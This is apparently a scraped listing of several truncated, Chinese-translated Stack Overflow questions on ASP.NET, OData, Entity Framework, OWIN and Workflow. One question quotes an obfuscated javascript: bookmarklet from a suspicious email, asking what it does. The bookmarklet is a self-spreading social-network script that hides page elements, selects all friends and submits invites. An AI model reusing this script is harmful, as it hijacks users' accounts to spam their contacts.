我有一个用VS2010编写的现有项目,在VS2010中加载时效果很好.
当我在VS2013中加载同一个项目时,MVC Razor视图包含许多错误,就好像views文件夹中缺少配置文件一样.
它似乎没有使用root和views文件夹中的配置文件正确加载Razor编辑器,而是给我一些错误,如...
The name 'model' does not exist in the current context
Run Code Online (Sandbox Code Playgroud)
和......
'System.Web.WebPages.Html.HtmlHelper' does not contain a definition for 'LabelFor'
and no extension method 'LabelFor' accepting a first argument of type
'System.Web.WebPages.Html.HtmlHelper' could be found
(are you missing a using directive or an assembly reference?)
Run Code Online (Sandbox Code Playgroud)
...
知道是什么会导致这个吗?
编辑:按要求配置文件....
从主web.config文件(不是全部,因为它太大而不能发布)
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="Ninject" culture="neutral" publicKeyToken="c7192dc5380945e7" />
<bindingRedirect newVersion="3.0.0.0" oldVersion="0.0.0.0-3.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Microsoft.Practices.EnterpriseLibrary.Validation" culture="neutral" publicKeyToken="31bf3856ad364e35" />
<bindingRedirect newVersion="5.0.505.0" oldVersion="0.0.0.0-5.0.505.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web" …
Run Code Online (Sandbox Code Playgroud) 我在ASP.NET Web API应用程序中使用开箱即用的ValuesController
public class ValuesController : ApiController
{
// GET api/values
[Queryable(PageSize = 1)]
public IQueryable<string> Get()
{
return new string[] { "value1", "value2", "value3", "value4", "value5" }.AsQueryable();
}
}
Run Code Online (Sandbox Code Playgroud)
当我 get http://localhost/api/values?$inlinecount=allpages
这是回应
<ArrayOfString xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<string>value1</string>
</ArrayOfString>
Run Code Online (Sandbox Code Playgroud)
我没有注释 config.EnableQuerySupport();
过滤,排序工作正常.
如果我尝试get http://localhost/api/values?$inlinecount=XXXXX
获得异常,那么Web API应用程序似乎就知道了inlinecount
<Message>The query specified in the URI is not valid.</Message>
<ExceptionMessage>'xxx' is not a valid value for $inlinecount.</ExceptionMessage>
<ExceptionType>Microsoft.Data.OData.ODataException</ExceptionType>
Run Code Online (Sandbox Code Playgroud)
我肯定有Microsoft.AspNet.WebApi.OData包 - 这是包管理器控制台的输出
PM> Install-Package Microsoft.AspNet.WebApi.OData
Attempting to resolve dependency 'Microsoft.Net.Http (= 2.0.20710.0 …
Run Code Online (Sandbox Code Playgroud) 好吧,碰巧是我的好朋友的人最近给我发了一些奇怪的电子邮件,其中一封是一个页面的链接,要求你将其复制并粘贴到浏览器的地址栏然后执行...
javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})();
Run Code Online (Sandbox Code Playgroud)
对于低级编程而言,我并不完全喜欢它,我很好奇这封电子邮件在这里要问的是什么......
请不要运行这个代码,除非你很高兴它不会破坏任何东西.
但是......有人能告诉我它的作用吗?
我想根据我的团队的新查询创建一个自定义看板。
默认情况下,您获得的似乎是全有或全无的东西,我们想将 sprint 计划之外的工作分解为“功能板”,其中包含可能跨越多个 sprint 但朝着我们共同子目标的项目项目。
这可能吗?
获取一串HTML并将其转换为有用的内容的最佳方法是什么?
基本上,如果我拿一个URL并从.net中获取该URL的HTML我得到一个响应,但这将以文件或流或字符串的形式出现.
如果我想要一个实际的文档或者我可以像XmlDocument对象一样爬行的东西怎么办?
我有一些想法和已经实施的解决方案但我有兴趣看看社区对此的看法.
所以我有一个自定义跟踪监听器,它开始它的生命如下:
http://www.codeproject.com/Articles/30956/A-Rolling-XmlWriterTraceListener
我已将其修改为更像Log4Net RollingFileAppender(请参阅:http://logging.apache.org/log4net/release/sdk/log4net.Appender.RollingFileAppender.html)
当我运行代码时,我发现它没有从配置文件中的自定义属性设置属性/字段值.
在运行时分析对象会发现Attributes属性(this.Attributes)不包含任何内容.
有什么想法我会解决这个问题吗?
我应该手动填充这些还是什么?
好的,这是一个代码示例:
[HostProtection(Synchronization = true)]
public class RollingXmlWriterTraceListener : XmlWriterTraceListener
{
public RollingXmlWriterTraceListener(string filename)
: base(filename)
{
_basicTraceFileName = filename;
LoadAttributes();
}
Run Code Online (Sandbox Code Playgroud)
在LoadAttributes方法中,我然后做...
if (Attributes.ContainsKey("maxTraceFileCount"))
{
string attributeValue = Attributes["maxTraceFileCount"];
Run Code Online (Sandbox Code Playgroud)
问题是"属性"从不包含任何内容.该类使用包含属性的配置信息从框架代码实例化...
<sharedListeners>
<add type="emedia.Common.Wcf.RollingXmlWriterTraceListener, emedia.Common.Wcf"
name="System.ServiceModel.XmlTrace.Listener"
traceOutputOptions="None"
initializeData="C:\Logs\MyTraceFileName.svclog"
MaxTraceFileSize="1048576"
MaxTraceFileCount="10"
/>
</sharedListeners>
Run Code Online (Sandbox Code Playgroud)
编辑2:
XmlWriterTraceListener类是.Net的一部分,它是继承Attributes属性的基类.
在配置中我应该能够指定任何属性然后在代码中执行类似的操作...
var attValue = Attributes["something"];
Run Code Online (Sandbox Code Playgroud)
...但由于某种原因,它返回null(属性不在集合中).
鉴于这在我的应用程序启动...
app.Use((context, next) =>
{
return next.Invoke();
}).UseStageMarker(PipelineStage.PostAuthenticate);
app.Use((context, next) =>
{
return next.Invoke();
}).UseStageMarker(PipelineStage.Authenticate);
Run Code Online (Sandbox Code Playgroud)
...为什么PostAuthenticate代码在Authenticate代码之前执行?
我并不是说"为什么第一个app.use在第二个app.use之前被调用"我的意思是:为什么第一个调用会在第二个调用之前被调用,因为第二个应该在请求管道中更早发生?
编辑
与此问题相关:如何在此代码中获取Windows标识?
我无法理解这一点,线索遍布SO状态我正在做所有正确的事情,但显然我一定错过了一些东西......
鉴于这两个对象defs ...
public class Invoice
{
[Key]
public int Id { get; set; }
[ForeignKey("Block")]
public int? BlockingCodeId { get; set; }
public virtual BlockingCode Block { get; set; }
...
}
public class BlockingCode
{
[Key]
public int Id { get; set; }
public virtual ICollection<Invoice> Invoices { get; set; }
...
}
Run Code Online (Sandbox Code Playgroud)
然后用适当的关系配置上下文...
public class FaureciaContext : EFDataContext
{
public virtual DbSet<Invoice> Invoices { get; set; }
public virtual DbSet<BlockingCode> BlockingCodes { get; set; }
protected override …
Run Code Online (Sandbox Code Playgroud) c# sql-server entity-framework foreign-keys entity-framework-6
根据这里的文件......
http://www.asp.net/web-api/overview/odata-support-in-aspnet-web-api/odata-v3/odata-actions
...
将操作绑定到实体集
在上一个示例中,操作绑定到单个实体:客户端对单个产品进行评级.您还可以将操作绑定到实体集合.只需进行以下更改:
在EDM中,将操作添加到实体的Collection属性.
var rateAllProducts = builder.Entity().Collection.Action("RateAllProducts"); 在控制器方法中,省略关键参数.
[HttpPost] public int RateAllProducts(ODataActionParameters parameters){// ....}
为什么当我这样做时它不起作用......
发票参考:
public class InvoiceReference
{
public string InvoiceNumber { get; set; }
public int SupplierId { get; set; }
}
Run Code Online (Sandbox Code Playgroud)
行动设定:
var getByRefs = Builder.EntityType<SIHead>().Collection.Action("ByRefs");
getByRefs.CollectionParameter<InvoiceReference>("refs");
getByRefs.ReturnsCollectionFromEntitySet<SIHead>("SIHead");
Run Code Online (Sandbox Code Playgroud)
控制器中的动作方法:
[HttpPost]
[EnableQuery]
[ODataRoute("ByRefs")]
public async Task<IHttpActionResult> ByRefs(ODataActionParameters p)
{
var refs = p["refs"] as InvoiceReference[];
// exception p is null
}
Run Code Online (Sandbox Code Playgroud)
示例json内容发布:
[
{
"InvoiceNumber": "5100011759|9800006622",
"SupplierId": 2
},
{
"InvoiceNumber": "5100012624|9800006635",
"SupplierId": 2 …
Run Code Online (Sandbox Code Playgroud) 我正在尝试进入工作流基础,但显然我似乎无法获得异步活动的最基本实现.
任何人都可以通过我放在一起的这个活动指向正确的方向,以便使用HttpClient创建异步OData请求...
首先,我创建了一个从AsyncCodeActivity扩展的基类型...
public abstract class ODataActivity<TResult> : AsyncCodeActivity<TResult>, IDisposable
{
protected HttpClient Api =
new HttpClient(
new HttpClientHandler() { AutomaticDecompression = DecompressionMethods.GZip | DecompressionMethods.Deflate }
)
{ BaseAddress = new Uri(new Config().ApiRoot) };
bool disposed = false;
public void Dispose()
{
Dispose(disposed);
}
public virtual void Dispose(bool disposed)
{
if (!disposed)
{
Api.Dispose();
Api = null;
}
}
}
Run Code Online (Sandbox Code Playgroud)
接下来我继承了它以提供我的实现......
public class ODataFetchActivity<TResult> : ODataActivity<TResult>
{
public string Query { get; set; }
protected override IAsyncResult BeginExecute(AsyncCodeActivityContext context, AsyncCallback …
Run Code Online (Sandbox Code Playgroud) c# ×7
odata ×2
.net ×1
asp.net ×1
asp.net-mvc ×1
asynchronous ×1
azure-devops ×1
foreign-keys ×1
html ×1
intellisense ×1
javascript ×1
kanban ×1
odata-v3 ×1
owin ×1
pipeline ×1
razor ×1
sql-server ×1
trace ×1